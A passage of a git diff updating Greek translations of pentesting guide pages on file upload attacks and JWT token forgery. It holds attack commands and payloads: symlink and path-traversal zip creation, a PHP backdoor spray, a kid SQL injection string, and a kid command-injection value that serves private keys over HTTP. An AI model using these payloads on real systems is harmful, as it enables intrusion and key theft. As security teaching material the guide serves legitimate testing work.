εκμεταλλευτείτε μια [SSRF](../ssrf-server-side-request-forgery/index.html). Αν αυτή η **εικόνα** πρόκειται να **αποθηκευτεί** σε κάποια **δημόσια** τοποθεσία, μπορείτε επίσης να υποδείξετε μια διεύθυνση URL από [https://iplogger.org/invisible/](https://iplogger.org/invisible/) και να **κλέψετε πληροφορίες από κάθε επισκέπτη**. - [**XXE και CORS** παρακάμψη με μεταφόρτωση PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md) -- Ιδιαίτερα κατασκευασμένα PDFs για XSS: Η [παρακάτω σελίδα παρουσιάζει πώς να **εισάγετε δεδομένα PDF για να αποκτήσετε εκτέλεση JS**](../xss-cross-site-scripting/pdf-injection.md). Αν μπορείτε να μεταφορτώσετε PDFs μπορείτε να προετοιμάσετε κάποιο PDF που θα εκτελεί αυθαίρετο JS ακολουθώντας τις δοθείσες οδηγίες. +- Ιδιαίτερα κατασκευασμένα PDFs για XSS: Η [παρακάτω σελίδα παρουσιάζει πώς να **εισάγετε δεδομένα PDF για να αποκτήσετε εκτέλεση JS**](../xss-cross-site-scripting/pdf-injection.md). Αν μπορείτε να ανεβάσετε PDFs μπορείτε να προετοιμάσετε κάποιο PDF που θα εκτελεί αυθαίρετο JS ακολουθώντας τις δοθείσες οδηγίες. - Μεταφορτώστε το \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) περιεχόμενο για να ελέγξετε αν ο server έχει κάποιο **αντιϊικό** -- Ελέγξτε αν υπάρχει κάποιο **όριο μεγέθους** κατά τη μεταφόρτωση αρχείων +- Ελέγξτε αν υπάρχει κάποιο **όριο μεγέθους** κατά την μεταφόρτωση αρχείων Ακολουθεί μια λίστα με τα 10 κορυφαία πράγματα που μπορείτε να επιτύχετε με τη μεταφόρτωση (από [εδώ](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): @@ -189,7 +189,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 5. **XML**: XXE 6. **AVI**: LFI / SSRF 7. **HTML / JS** : Εισαγωγή HTML / XSS / Ανοιχτή ανακατεύθυνση -8. **PNG / JPEG**: Επίθεση pixel flood (DoS) +8. **PNG / JPEG**: Επίθεση πλημμύρας pixel (DoS) 9. **ZIP**: RCE μέσω LFI / DoS 10. **PDF / PPTX**: SSRF / BLIND XXE @@ -199,20 +199,20 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= https://github.com/portswigger/upload-scanner {{#endref}} -## Μαγικοί Κωδικοί Header +## Μαγικά Header Bytes - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` - **JPG**: `"\xff\xd8\xff"` -Ανατρέξτε στο [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) για άλλους τύπους αρχείων. +Ανατρέξτε σε [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) για άλλους τύπους αρχείων. ## Αυτόματη αποσυμπίεση αρχείου Zip/Tar κατά τη μεταφόρτωση -Αν μπορείτε να μεταφορτώσετε ένα ZIP που πρόκειται να αποσυμπιεστεί μέσα στον server, μπορείτε να κάνετε 2 πράγματα: +Αν μπορείτε να ανεβάσετε ένα ZIP που πρόκειται να αποσυμπιεστεί μέσα στον server, μπορείτε να κάνετε 2 πράγματα: ### Symlink -Μεταφορτώστε έναν σύνδεσμο που περιέχει μαλακούς συνδέσμους σε άλλα αρχεία, στη συνέχεια, αποκτώντας πρόσβαση στα αποσυμπιεσμένα αρχεία θα αποκτήσετε πρόσβαση στα συνδεδεμένα αρχεία: +Ανεβάστε έναν σύνδεσμο που περιέχει μαλακούς συνδέσμους σε άλλα αρχεία, στη συνέχεια, αποκτώντας πρόσβαση στα αποσυμπιεσμένα αρχεία θα αποκτήσετε πρόσβαση στα συνδεδεμένα αρχεία: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt @@ -220,7 +220,7 @@ tar -cvf test.tar symindex.txt ``` ### Αποσυμπίεση σε διαφορετικούς φακέλους -Η απροσδόκητη δημιουργία αρχείων σε καταλόγους κατά τη διάρκεια της αποσυμπίεσης είναι ένα σημαντικό ζήτημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να προστατεύει από την εκτέλεση εντολών σε επίπεδο λειτουργικού συστήματος μέσω κακόβουλων αναβαθμίσεων αρχείων, η υποστήριξη ιεραρχικής συμπίεσης και οι δυνατότητες διαδρομής καταλόγου της μορφής ZIP μπορούν να εκμεταλλευτούν. Αυτό επιτρέπει στους επιτιθέμενους να παρακάμψουν περιορισμούς και να ξεφύγουν από ασφαλείς καταλόγους αναβάθμισης χειραγωγώντας τη λειτουργικότητα αποσυμπίεσης της στοχευμένης εφαρμογής. +Η απροσδόκητη δημιουργία αρχείων σε καταλόγους κατά τη διάρκεια της αποσυμπίεσης είναι ένα σημαντικό ζήτημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να προστατεύει από την εκτέλεση εντολών σε επίπεδο λειτουργικού συστήματος μέσω κακόβουλων αναβαθμίσεων αρχείων, η υποστήριξη ιεραρχικής συμπίεσης και οι δυνατότητες διαδρομής καταλόγου της μορφής ZIP μπορούν να εκμεταλλευτούν. Αυτό επιτρέπει στους επιτιθέμενους να παρακάμψουν περιορισμούς και να ξεφύγουν από ασφαλείς καταλόγους αναβάθμισης, χειραγωγώντας τη λειτουργικότητα αποσυμπίεσης της στοχευμένης εφαρμογής. Μια αυτοματοποιημένη εκμετάλλευση για τη δημιουργία τέτοιων αρχείων είναι διαθέσιμη στο [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Το εργαλείο μπορεί να χρησιμοποιηθεί όπως φαίνεται: ```python @@ -263,7 +263,7 @@ system($cmd); }?> ``` -2. **File Spraying και Δημιουργία Συμπιεσμένου Αρχείου**: Δημιουργούνται πολλαπλά αρχεία και συγκεντρώνεται ένα zip αρχείο που περιέχει αυτά τα αρχεία. +2. **File Spraying και Δημιουργία Συμπιεσμένου Αρχείου**: Δημιουργούνται πολλαπλά αρχεία και συντάσσεται ένα zip αρχείο που περιέχει αυτά τα αρχεία. ```bash root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done @@ -299,7 +299,7 @@ pop graphic-context Τα πολυγλωσσικά αρχεία χρησιμεύουν ως ένα μοναδικό εργαλείο στην κυβερνοασφάλεια, δρώντας ως χαμαιλέοντες που μπορούν να υπάρχουν έγκυρα σε πολλαπλές μορφές αρχείων ταυτόχρονα. Ένα ενδιαφέρον παράδειγμα είναι ένα [GIFAR](https://en.wikipedia.org/wiki/Gifar), ένας υβριδικός τύπος που λειτουργεί τόσο ως GIF όσο και ως αρχείο RAR. Τέτοια αρχεία δεν περιορίζονται σε αυτόν τον συνδυασμό; συνδυασμοί όπως GIF και JS ή PPT και JS είναι επίσης εφικτοί. -Η βασική χρησιμότητα των πολυγλωσσικών αρχείων έγκειται στην ικανότητά τους να παρακάμπτουν τα μέτρα ασφαλείας που ελέγχουν τα αρχεία με βάση τον τύπο τους. Η κοινή πρακτική σε διάφορες εφαρμογές περιλαμβάνει την άδεια μόνο ορισμένων τύπων αρχείων για ανέβασμα—όπως JPEG, GIF ή DOC—για να μετριαστεί ο κίνδυνος που προκύπτει από δυνητικά επιβλαβείς μορφές (π.χ., JS, PHP ή αρχεία Phar). Ωστόσο, ένα πολυγλωσσικό αρχείο, συμμορφούμενο με τα δομικά κριτήρια πολλών τύπων αρχείων, μπορεί να παρακάμψει κρυφά αυτούς τους περιορισμούς. +Η βασική χρησιμότητα των πολυγλωσσικών αρχείων έγκειται στην ικανότητά τους να παρακάμπτουν τα μέτρα ασφαλείας που ελέγχουν τα αρχεία με βάση τον τύπο τους. Η κοινή πρακτική σε διάφορες εφαρμογές περιλαμβάνει την άδεια μόνο ορισμένων τύπων αρχείων για ανέβασμα—όπως JPEG, GIF ή DOC—για να μετριαστεί ο κίνδυνος που προέρχεται από δυνητικά επιβλαβείς μορφές (π.χ., JS, PHP ή αρχεία Phar). Ωστόσο, ένα πολυγλωσσικό αρχείο, συμμορφούμενο με τα δομικά κριτήρια πολλών τύπων αρχείων, μπορεί να παρακάμψει κρυφά αυτούς τους περιορισμούς. Παρά την προσαρμοστικότητά τους, τα πολυγλωσσικά αρχεία αντιμετωπίζουν περιορισμούς. Για παράδειγμα, ενώ ένα πολυγλωσσικό αρχείο μπορεί ταυτόχρονα να ενσωματώνει ένα αρχείο PHAR (PHp ARchive) και ένα JPEG, η επιτυχία της ανάρτησής του μπορεί να εξαρτάται από τις πολιτικές επεκτάσεων αρχείων της πλατφόρμας. Εάν το σύστημα είναι αυστηρό σχετικά με τις επιτρεπόμενες επεκτάσεις, η απλή δομική διπλότητα ενός πολυγλωσσικού αρχείου μπορεί να μην αρκεί για να εγγυηθεί την ανάρτησή του. @@ -309,9 +309,9 @@ pop graphic-context Πώς να αποφύγετε τις ανιχνεύσεις τύπου αρχείου ανεβάζοντας ένα έγκυρο αρχείο JSON ακόμη και αν δεν επιτρέπεται, προσποιούμενοι ότι είναι ένα αρχείο PDF (τεχνικές από **[αυτή την ανάρτηση στο blog](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): -- **`mmmagic` βιβλιοθήκη**: Όσο οι μαγικοί byte `%PDF` είναι στα πρώτα 1024 bytes, είναι έγκυρο (πάρε παράδειγμα από την ανάρτηση) +- **`mmmagic` βιβλιοθήκη**: Όσο οι μαγικοί byte `%PDF` είναι στα πρώτα 1024 byte, είναι έγκυρο (πάρε παράδειγμα από την ανάρτηση) - **`pdflib` βιβλιοθήκη**: Πρόσθεσε μια ψεύτικη μορφή PDF μέσα σε ένα πεδίο του JSON ώστε η βιβλιοθήκη να νομίζει ότι είναι PDF (πάρε παράδειγμα από την ανάρτηση) -- **`file` δυαδικό**: Μπορεί να διαβάσει έως 1048576 bytes από ένα αρχείο. Απλά δημιούργησε ένα JSON μεγαλύτερο από αυτό ώστε να μην μπορεί να αναλύσει το περιεχόμενο ως JSON και στη συνέχεια μέσα στο JSON βάλε το αρχικό μέρος ενός πραγματικού PDF και θα νομίζει ότι είναι PDF +- **`file` δυαδικό**: Μπορεί να διαβάσει έως 1048576 byte από ένα αρχείο. Απλά δημιούργησε ένα JSON μεγαλύτερο από αυτό ώστε να μην μπορεί να αναλύσει το περιεχόμενο ως JSON και στη συνέχεια μέσα στο JSON βάλε το αρχικό μέρος ενός πραγματικού PDF και θα νομίζει ότι είναι PDF ## Αναφορές diff --git a/src/pentesting-web/hacking-jwt-json-web-tokens.md b/src/pentesting-web/hacking-jwt-json-web-tokens.md index c96549113..313bde5bf 100644 --- a/src/pentesting-web/hacking-jwt-json-web-tokens.md +++ b/src/pentesting-web/hacking-jwt-json-web-tokens.md @@ -5,9 +5,9 @@ **Μέρος αυτού του άρθρου βασίζεται στην καταπληκτική ανάρτηση:** [**https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology)\ **Συγγραφέας του σπουδαίου εργαλείου για pentest JWTs** [**https://github.com/ticarpi/jwt_tool**](https://github.com/ticarpi/jwt_tool) -### **Γρήγορες Νίκες** +### **Quick Wins** -Τρέξτε [**jwt_tool**](https://github.com/ticarpi/jwt_tool) με λειτουργία `All Tests!` και περιμένετε για πράσινες γραμμές +Run [**jwt_tool**](https://github.com/ticarpi/jwt_tool) with mode `All Tests!` and wait for green lines ```bash python3 jwt_tool.py -M at \ -t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \ @@ -17,7 +17,7 @@ python3 jwt_tool.py -M at \ ![](<../images/image (935).png>) -Στη συνέχεια, μπορείτε να αναζητήσετε το αίτημα στον μεσολαβητή σας ή να εξάγετε το χρησιμοποιούμενο JWT για αυτό το αίτημα χρησιμοποιώντας το jwt\_ tool: +Τότε, μπορείτε να αναζητήσετε το αίτημα στον μεσολαβητή σας ή να εξάγετε το χρησιμοποιούμενο JWT για αυτό το αίτημα χρησιμοποιώντας το jwt\_ tool: ```bash python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291" ``` @@ -25,19 +25,19 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291" ### Τροποποίηση δεδομένων χωρίς να αλλάξετε τίποτα -Μπορείτε απλώς να τροποποιήσετε τα δεδομένα αφήνοντας την υπογραφή ως έχει και να ελέγξετε αν ο διακομιστής ελέγχει την υπογραφή. Δοκιμάστε να αλλάξετε το όνομα χρήστη σας σε "admin" για παράδειγμα. +Μπορείτε απλά να τροποποιήσετε τα δεδομένα αφήνοντας την υπογραφή ως έχει και να ελέγξετε αν ο διακομιστής ελέγχει την υπογραφή. Δοκιμάστε να αλλάξετε το όνομα χρήστη σας σε "admin" για παράδειγμα. -#### **Ελέγχεται η υπογραφή του token;** +#### **Ελέγχεται το token;** Για να ελέγξετε αν η υπογραφή ενός JWT επαληθεύεται: -- Ένα μήνυμα σφάλματος υποδηλώνει ότι η επαλήθευση είναι σε εξέλιξη; ευαίσθητες λεπτομέρειες σε εκτενή σφάλματα θα πρέπει να εξεταστούν. -- Μια αλλαγή στη σελίδα που επιστρέφεται υποδηλώνει επίσης επαλήθευση. -- Καμία αλλαγή υποδηλώνει ότι δεν υπάρχει επαλήθευση; αυτό είναι το σημείο για να πειραματιστείτε με την τροποποίηση των αξιώσεων του payload. +- Ένα μήνυμα σφάλματος υποδηλώνει συνεχιζόμενο έλεγχο; ευαίσθητες λεπτομέρειες σε εκτενή σφάλματα θα πρέπει να εξεταστούν. +- Μια αλλαγή στη σελίδα που επιστρέφεται υποδηλώνει επίσης έλεγχο. +- Καμία αλλαγή υποδηλώνει ότι δεν υπάρχει έλεγχος; αυτό είναι όταν πρέπει να πειραματιστείτε με την τροποποίηση των αξιώσεων του payload. ### Προέλευση -Είναι σημαντικό να προσδιορίσετε αν το token δημιουργήθηκε από τον διακομιστή ή από τον πελάτη εξετάζοντας το ιστορικό αιτημάτων του proxy. +Είναι σημαντικό να προσδιορίσετε αν το token δημιουργήθηκε από τον διακομιστή ή από τον πελάτη εξετάζοντας την ιστορία αιτημάτων του proxy. - Τα tokens που παρατηρούνται πρώτα από την πλευρά του πελάτη υποδηλώνουν ότι το κλειδί μπορεί να είναι εκτεθειμένο σε κώδικα πελάτη, απαιτώντας περαιτέρω έρευνα. - Τα tokens που προέρχονται από τον διακομιστή υποδηλώνουν μια ασφαλή διαδικασία. @@ -50,13 +50,13 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291" [**Δείτε αυτή τη σελίδα.**](../generic-hacking/brute-force.md#jwt) -### Αλλαγή του αλγορίθμου σε None +### Τροποποιήστε τον αλγόριθμο σε None Ορίστε τον αλγόριθμο που χρησιμοποιείται ως "None" και αφαιρέστε το μέρος της υπογραφής. -Χρησιμοποιήστε την επέκταση Burp που ονομάζεται "JSON Web Token" για να δοκιμάσετε αυτή την ευπάθεια και να αλλάξετε διάφορες τιμές μέσα στο JWT (στείλτε το αίτημα στο Repeater και στην καρτέλα "JSON Web Token" μπορείτε να τροποποιήσετε τις τιμές του token. Μπορείτε επίσης να επιλέξετε να θέσετε την τιμή του πεδίου "Alg" σε "None"). +Χρησιμοποιήστε την επέκταση Burp που ονομάζεται "JSON Web Token" για να δοκιμάσετε αυτήν την ευπάθεια και να αλλάξετε διάφορες τιμές μέσα στο JWT (στείλτε το αίτημα στο Repeater και στην καρτέλα "JSON Web Token" μπορείτε να τροποποιήσετε τις τιμές του token. Μπορείτε επίσης να επιλέξετε να ορίσετε την τιμή του πεδίου "Alg" σε "None"). -### Αλλαγή του αλγορίθμου RS256(ασύμμετρος) σε HS256(συμμετρικός) (CVE-2016-5431/CVE-2016-10555) +### Αλλάξτε τον αλγόριθμο RS256(ασύμμετρο) σε HS256(συμμετρικό) (CVE-2016-5431/CVE-2016-10555) Ο αλγόριθμος HS256 χρησιμοποιεί το μυστικό κλειδί για να υπογράψει και να επαληθεύσει κάθε μήνυμα.\ Ο αλγόριθμος RS256 χρησιμοποιεί το ιδιωτικό κλειδί για να υπογράψει το μήνυμα και χρησιμοποιεί το δημόσιο κλειδί για την αυθεντικοποίηση. @@ -81,9 +81,9 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem - **Αξιολόγηση Tokens με "jku" Κεφαλίδα**: - Επαληθεύστε το URL της δήλωσης "jku" για να διασφαλίσετε ότι οδηγεί στο κατάλληλο αρχείο JWKS. -- Τροποποιήστε την τιμή "jku" του token για να κατευθυνθεί προς μια ελεγχόμενη διαδικτυακή υπηρεσία, επιτρέποντας την παρακολούθηση της κίνησης. +- Τροποποιήστε την τιμή "jku" του token ώστε να κατευθύνεται προς μια ελεγχόμενη διαδικτυακή υπηρεσία, επιτρέποντας την παρακολούθηση της κίνησης. - **Παρακολούθηση για HTTP Αλληλεπίδραση**: -- Η παρακολούθηση των HTTP αιτημάτων προς το καθορισμένο URL σας υποδεικνύει τις προσπάθειες του διακομιστή να ανακτήσει κλειδιά από τον παρεχόμενο σύνδεσμο. +- Η παρακολούθηση των HTTP αιτημάτων προς το καθορισμένο URL σας υποδεικνύει τις προσπάθειες του διακομιστή να αποκτήσει κλειδιά από τον παρεχόμενο σύνδεσμο. - Όταν χρησιμοποιείτε το `jwt_tool` για αυτή τη διαδικασία, είναι κρίσιμο να ενημερώσετε το αρχείο `jwtconf.ini` με την προσωπική σας τοποθεσία JWKS για να διευκολύνετε τη δοκιμή. - **Εντολή για `jwt_tool`**: @@ -99,19 +99,19 @@ python3 jwt_tool.py JWT_HERE -X s #### Αποκάλυψη Κλειδιού μέσω "kid" -Όταν η δήλωση `kid` είναι παρούσα στην κεφαλίδα, συνιστάται να αναζητήσετε τον διαδικτυακό κατάλογο για το αντίστοιχο αρχείο ή τις παραλλαγές του. Για παράδειγμα, αν καθοριστεί `"kid":"key/12345"`, θα πρέπει να αναζητηθούν τα αρχεία _/key/12345_ και _/key/12345.pem_ στη ρίζα του διαδικτύου. +Όταν η δήλωση `kid` είναι παρούσα στην κεφαλίδα, συνιστάται να αναζητήσετε τον διαδικτυακό κατάλογο για το αντίστοιχο αρχείο ή τις παραλλαγές του. Για παράδειγμα, αν έχει καθοριστεί `"kid":"key/12345"`, θα πρέπει να αναζητηθούν τα αρχεία _/key/12345_ και _/key/12345.pem_ στη ρίζα του διαδικτύου. -#### Διαδρομή Διασύνδεσης με "kid" +#### Διαδρομή Traversal με "kid" -Η δήλωση `kid` μπορεί επίσης να εκμεταλλευτεί για να πλοηγηθεί μέσα στο σύστημα αρχείων, επιτρέποντας ενδεχομένως την επιλογή ενός αυθαίρετου αρχείου. Είναι εφικτό να δοκιμάσετε τη συνδεσιμότητα ή να εκτελέσετε επιθέσεις Server-Side Request Forgery (SSRF) τροποποιώντας την τιμή `kid` για να στοχεύσετε συγκεκριμένα αρχεία ή υπηρεσίες. Η παραποίηση του JWT για να αλλάξετε την τιμή `kid` ενώ διατηρείτε την αρχική υπογραφή μπορεί να επιτευχθεί χρησιμοποιώντας την επιλογή `-T` στο jwt_tool, όπως φαίνεται παρακάτω: +Η δήλωση `kid` μπορεί επίσης να εκμεταλλευτεί για να πλοηγηθεί μέσα στο σύστημα αρχείων, επιτρέποντας ενδεχομένως την επιλογή ενός αυθαίρετου αρχείου. Είναι εφικτό να δοκιμάσετε τη συνδεσιμότητα ή να εκτελέσετε επιθέσεις Server-Side Request Forgery (SSRF) τροποποιώντας την τιμή `kid` για να στοχεύσετε συγκεκριμένα αρχεία ή υπηρεσίες. Η παραποίηση του JWT για να αλλάξει την τιμή `kid` ενώ διατηρεί την αρχική υπογραφή μπορεί να επιτευχθεί χρησιμοποιώντας την επιλογή `-T` στο jwt_tool, όπως φαίνεται παρακάτω: ```bash python3 jwt_tool.py -I -hc kid -hv "../../dev/null" -S hs256 -p "" ``` -Με την στόχευση αρχείων με προβλέψιμο περιεχόμενο, είναι δυνατόν να παραχαραχθεί ένα έγκυρο JWT. Για παράδειγμα, το αρχείο `/proc/sys/kernel/randomize_va_space` σε συστήματα Linux, που είναι γνωστό ότι περιέχει την τιμή **2**, μπορεί να χρησιμοποιηθεί στην παράμετρο `kid` με **2** ως το συμμετρικό κλειδί για τη δημιουργία JWT. +Με την στόχευση αρχείων με προβλέψιμο περιεχόμενο, είναι δυνατόν να παραχαραχθεί ένα έγκυρο JWT. Για παράδειγμα, το αρχείο `/proc/sys/kernel/randomize_va_space` σε συστήματα Linux, που είναι γνωστό ότι περιέχει την τιμή **2**, μπορεί να χρησιμοποιηθεί στην παράμετρο `kid` με **2** ως το συμμετρικό κωδικό για τη δημιουργία JWT. #### SQL Injection μέσω "kid" -Εάν το περιεχόμενο της δήλωσης `kid` χρησιμοποιείται για την ανάκτηση ενός κωδικού πρόσβασης από μια βάση δεδομένων, μπορεί να διευκολυνθεί μια SQL injection τροποποιώντας το payload του `kid`. Ένα παράδειγμα payload που χρησιμοποιεί SQL injection για να αλλάξει τη διαδικασία υπογραφής του JWT περιλαμβάνει: +Εάν το περιεχόμενο της δήλωσης `kid` χρησιμοποιείται για την ανάκτηση ενός κωδικού από μια βάση δεδομένων, μπορεί να διευκολυνθεί μια SQL injection τροποποιώντας το payload του `kid`. Ένα παράδειγμα payload που χρησιμοποιεί SQL injection για να αλλάξει τη διαδικασία υπογραφής του JWT περιλαμβάνει: `non-existent-index' UNION SELECT 'ATTACKER';-- -` @@ -119,7 +119,7 @@ python3 jwt_tool.py -I -hc kid -hv "../../dev/null" -S hs256 -p "" #### OS Injection μέσω "kid" -Ένα σενάριο όπου η παράμετρος `kid` καθορίζει μια διαδρομή αρχείου που χρησιμοποιείται σε ένα πλαίσιο εκτέλεσης εντολών θα μπορούσε να οδηγήσει σε ευπάθειες Remote Code Execution (RCE). Με την εισαγωγή εντολών στην παράμετρο `kid`, είναι δυνατόν να εκτεθούν ιδιωτικά κλειδιά. Ένα παράδειγμα payload για την επίτευξη RCE και έκθεσης κλειδιών είναι: +Ένα σενάριο όπου η παράμετρος `kid` καθορίζει μια διαδρομή αρχείου που χρησιμοποιείται σε ένα πλαίσιο εκτέλεσης εντολών θα μπορούσε να οδηγήσει σε ευπάθειες Remote Code Execution (RCE). Με την έγχυση εντολών στην παράμετρο `kid`, είναι δυνατόν να εκτεθούν ιδιωτικά κλειδιά. Ένα παράδειγμα payload για την επίτευξη RCE και έκθεσης κλειδιών είναι: `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&` @@ -128,7 +128,7 @@ python3 jwt_tool.py -I -hc kid -hv "../../dev/null" -S hs256 -p "" #### jku jku σημαίνει **JWK Set URL**.\ -Εάν το token χρησιμοποιεί μια δήλωση “**jku**” **Header**, τότε **ελέγξτε τη διεύθυνση URL που παρέχεται**. Αυτή θα πρέπει να δείχνει σε μια διεύθυνση URL που περιέχει το αρχείο JWKS που κρατά το Δημόσιο Κλειδί για την επαλήθευση του token. Τροποποιήστε το token ώστε να δείχνει την τιμή jku σε μια διαδικτυακή υπηρεσία που μπορείτε να παρακολουθείτε την κίνηση. +Εάν το token χρησιμοποιεί μια δήλωση **“jku”** **Header**, τότε **ελέγξτε τη διεύθυνση URL που παρέχεται**. Αυτό θα πρέπει να δείχνει σε μια διεύθυνση URL που περιέχει το αρχείο JWKS που κρατά το Δημόσιο Κλειδί για την επαλήθευση του token. Τροποποιήστε το token ώστε να δείχνει την τιμή jku σε μια διαδικτυακή υπηρεσία που μπορείτε να παρακολουθείτε την κίνηση. Πρώτα πρέπει να δημιουργήσετε ένα νέο πιστοποιητικό με νέα ιδιωτικά & δημόσια κλειδιά. ```bash @@ -149,16 +149,16 @@ print("e:", hex(key.e)) ``` #### x5u -X.509 URL. Ένα URI που δείχνει σε ένα σύνολο δημόσιων πιστοποιητικών X.509 (ένα πρότυπο μορφής πιστοποιητικού) κωδικοποιημένων σε μορφή PEM. Το πρώτο πιστοποιητικό στο σύνολο πρέπει να είναι αυτό που χρησιμοποιείται για την υπογραφή αυτού του JWT. Τα επόμενα πιστοποιητικά υπογράφουν το προηγούμενο, ολοκληρώνοντας έτσι την αλυσίδα πιστοποιητικών. Το X.509 ορίζεται στο RFC 52807 . Απαιτείται ασφάλεια μεταφοράς για τη μεταφορά των πιστοποιητικών. +X.509 URL. Ένα URI που δείχνει σε ένα σύνολο δημόσιων πιστοποιητικών X.509 (ένα πρότυπο μορφής πιστοποιητικού) κωδικοποιημένων σε μορφή PEM. Το πρώτο πιστοποιητικό στο σύνολο πρέπει να είναι αυτό που χρησιμοποιείται για την υπογραφή αυτού του JWT. Τα επόμενα πιστοποιητικά υπογράφουν το προηγούμενο, ολοκληρώνοντας έτσι την αλυσίδα πιστοποιητικών. Το X.509 ορίζεται στο RFC 52807. Η μεταφορά ασφάλειας απαιτείται για τη μεταφορά των πιστοποιητικών. -Δοκιμάστε να **αλλάξετε αυτή την κεφαλίδα σε μια URL υπό τον έλεγχό σας** και ελέγξτε αν ληφθεί οποιοδήποτε αίτημα. Σε αυτή την περίπτωση, **θα μπορούσατε να παραποιήσετε το JWT**. +Προσπαθήστε να **αλλάξετε αυτή την κεφαλίδα σε μια URL υπό τον έλεγχό σας** και ελέγξτε αν ληφθεί οποιοδήποτε αίτημα. Σε αυτή την περίπτωση, **θα μπορούσατε να παραποιήσετε το JWT**. Για να κατασκευάσετε ένα νέο διακριτικό χρησιμοποιώντας ένα πιστοποιητικό που ελέγχετε, πρέπει να δημιουργήσετε το πιστοποιητικό και να εξάγετε τα δημόσια και ιδιωτικά κλειδιά: ```bash openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem ``` -Στη συνέχεια, μπορείτε να χρησιμοποιήσετε για παράδειγμα [**jwt.io**](https://jwt.io) για να δημιουργήσετε το νέο JWT με τα **δημιουργημένα δημόσια και ιδιωτικά κλειδιά και να δείξετε την παράμετρο x5u στο πιστοποιητικό .crt που δημιουργήθηκε.** +Τότε μπορείτε να χρησιμοποιήσετε για παράδειγμα [**jwt.io**](https://jwt.io) για να δημιουργήσετε το νέο JWT με τα **δημιουργημένα δημόσια και ιδιωτικά κλειδιά και να δείξετε την παράμετρο x5u στο πιστοποιητικό .crt που δημιουργήθηκε.** ![](<../images/image (956).png>) @@ -170,7 +170,7 @@ openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem ![](<../images/image (1119).png>) -Εάν ο επιτιθέμενος **δημιουργήσει ένα αυτο-υπογεγραμμένο πιστοποιητικό** και δημιουργήσει ένα πλαστό token χρησιμοποιώντας το αντίστοιχο ιδιωτικό κλειδί και αντικαταστήσει την τιμή της παραμέτρου "x5c" με το νεοδημιουργηθέν πιστοποιητικό και τροποποιήσει τις άλλες παραμέτρους, δηλαδή n, e και x5t, τότε ουσιαστικά το πλαστό token θα γίνει αποδεκτό από τον διακομιστή. +Εάν ο επιτιθέμενος **δημιουργήσει ένα αυτο-υπογεγραμμένο πιστοποιητικό** και δημιουργήσει ένα πλαστό token χρησιμοποιώντας το αντίστοιχο ιδιωτικό κλειδί και αντικαταστήσει την τιμή της παραμέτρου "x5c" με το νεοδημιουργηθέν πιστοποιητικό και τροποποιήσει τις άλλες παραμέτρους, δηλαδή n, e και x5t, τότε ουσιαστικά το πλαστό token θα γινόταν αποδεκτό από τον διακομιστή. ```bash openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt openssl x509 -in attacker.crt -text @@ -181,7 +181,7 @@ openssl x509 -in attacker.crt -text ![](<../images/image (624).png>) -Χρησιμοποιώντας το παρακάτω σενάριο nodejs είναι δυνατόν να παραχθεί ένα δημόσιο κλειδί από αυτά τα δεδομένα: +Χρησιμοποιώντας το παρακάτω script nodejs είναι δυνατόν να παραχθεί ένα δημόσιο κλειδί από αυτά τα δεδομένα: ```bash const NodeRSA = require('node-rsa'); const fs = require('fs'); @@ -191,7 +191,7 @@ const key = new NodeRSA(); var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public'); console.log(importedKey.exportKey("public")); ``` -Είναι δυνατόν να δημιουργήσετε ένα νέο ιδιωτικό/δημόσιο κλειδί, να ενσωματώσετε το νέο δημόσιο κλειδί μέσα στο token και να το χρησιμοποιήσετε για να δημιουργήσετε μια νέα υπογραφή: +Είναι δυνατόν να δημιουργήσετε ένα νέο ιδιωτικό/δημόσιο κλειδί, να ενσωματώσετε το νέο δημόσιο κλειδί μέσα στο διακριτικό και να το χρησιμοποιήσετε για να δημιουργήσετε μια νέα υπογραφή: ```bash openssl genrsa -out keypair.pem 2048 openssl rsa -in keypair.pem -pubout -out publickey.crt @@ -207,7 +207,7 @@ const publicComponents = key.exportKey('components-public'); console.log('Parameter n: ', publicComponents.n.toString("hex")); console.log('Parameter e: ', publicComponents.e.toString(16)); ``` -Τελικά, χρησιμοποιώντας το δημόσιο και ιδιωτικό κλειδί και τις νέες τιμές "n" και "e" μπορείτε να χρησιμοποιήσετε [jwt.io](https://jwt.io) για να κατασκευάσετε ένα νέο έγκυρο JWT με οποιαδήποτε πληροφορία. +Τελικά, χρησιμοποιώντας το δημόσιο και ιδιωτικό κλειδί και τις νέες τιμές "n" και "e", μπορείτε να χρησιμοποιήσετε [jwt.io](https://jwt.io) για να κατασκευάσετε ένα νέο έγκυρο JWT με οποιαδήποτε πληροφορία. ### ES256: Αποκάλυψη του ιδιωτικού κλειδιού με τον ίδιο nonce @@ -222,6 